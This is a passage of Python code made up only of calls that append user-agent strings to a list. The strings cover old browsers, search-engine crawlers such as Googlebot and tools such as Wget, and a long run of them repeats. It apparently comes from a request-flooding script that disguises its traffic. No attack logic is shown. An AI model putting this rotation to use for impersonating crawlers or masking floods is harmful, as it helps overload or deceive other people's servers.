(compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)') headers_useragents.append('Links (2.1pre15; FreeBSD 5.4-STABLE i386; 158x58)') headers_useragents.append('Wget/1.8.2') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0') headers_useragents.append('Mediapartners-Google/2.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7') headers_useragents.append('Mozilla/4.04 [en] (WinNT; I)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)') headers_useragents.append('lwp-trivial/1.41') headers_useragents.append('NetBSD-ftp/20031210') headers_useragents.append('Dillo/0.8.5-i18n-misc') headers_useragents.append('Links (2.1pre20; NetBSD 2.1_STABLE i386; 145x54)') headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d') headers_useragents.append('Lynx/2.8.5rel.3 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d') headers_useragents.append('Links (2.1pre19; NetBSD 2.1_STABLE sparc64; 145x54)') headers_useragents.append('Lynx/2.8.6dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d') headers_useragents.append('Links (2.1pre14; IRIX64 6.5 IP27; 145x54)') headers_useragents.append('Wget/1.10.1') headers_useragents.append('ELinks/0.10.5 (textmode; FreeBSD 4.11-STABLE i386; 80x22-2)') headers_useragents.append('Links (2.1pre20; FreeBSD 4.11-STABLE i386; 80x22)') headers_useragents.append('Lynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d-p1') headers_useragents.append('Opera/8.52 (X11; Linux i386; U; de)') headers_useragents.append('Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.1) Gecko/20060310 Firefox/1.5.0.1') headers_useragents.append('Mozilla/5.0 (X11; U; IRIX64 IP27; en-US; rv:1.4) Gecko/20030711') headers_useragents.append('Mozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)') headers_useragents.append('Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4m)') headers_useragents.append('Opera/5.0 (SunOS 5.8 sun4m; U) [en]') headers_useragents.append('Links (2.1pre15; SunOS 5.8 sun4m; 80x24)') headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d') headers_useragents.append('Wget/1.8.1') headers_useragents.append('Wget/1.9.1') headers_useragents.append('tnftp/20050625') headers_useragents.append('Links (1.00pre12; Linux 2.6.14.2.20051115 i686; 80x24) (Debian pkg 0.99+1.00pre12-1)') headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.0.16') headers_useragents.append('Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20051122') headers_useragents.append('Wget/1.7') headers_useragents.append('Lynx/2.8.2rel.1 libwww-FM/2.14') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; de) Opera 8.53') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7e') headers_useragents.append('Links (2.1pre20; SunOS 5.10 sun4u; 80x22)') headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7i') headers_useragents.append('Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060202 Firefox/1.5') headers_useragents.append('Opera/8.51 (X11; Linux i386; U; de)') headers_useragents.append('Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i386--freebsd; X11)') headers_useragents.append('Links (0.96; OpenBSD 3.0 sparc)') headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c') headers_useragents.append('Lynx/2.8.3rel.1 libwww-FM/2.14') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)') headers_useragents.append('libwww-perl/5.79') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)') headers_useragents.append('msnbot/1.0 (+http://search.msn.com/msnbot.htm)') headers_useragents.append('Googlebot/2.1 (+http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko)') headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7c') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/4.8 [en] (Windows NT 5.1; U)') headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)') headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en;VWP-online.de)') headers_useragents.append('sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('BrowserEmulator/0.9 see http://dejavu.org') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624') headers_useragents.append('iCCrawler (http://www.iccenter.net/bot.htm)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50') headers_useragents.append('Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)') headers_useragents.append('Java/1.4.1_04') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5') headers_useragents.append('msnbot/0.9 (+http://search.msn.com/msnbot.htm)') headers_useragents.append('NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)') headers_useragents.append('Opera/8.53 (Windows NT 5.1; U; en)') headers_useragents.append('Opera/8.01 (Windows NT 5.0; U; de)') headers_useragents.append('Opera/8.54 (Windows NT 5.1; U; de)') headers_useragents.append('Opera/8.53 (Windows NT 5.0; U; en)') headers_useragents.append('Opera/8.01 (Windows NT 5.1; U; de)') headers_useragents.append('Opera/8.50 (Windows NT 5.1; U; de)') 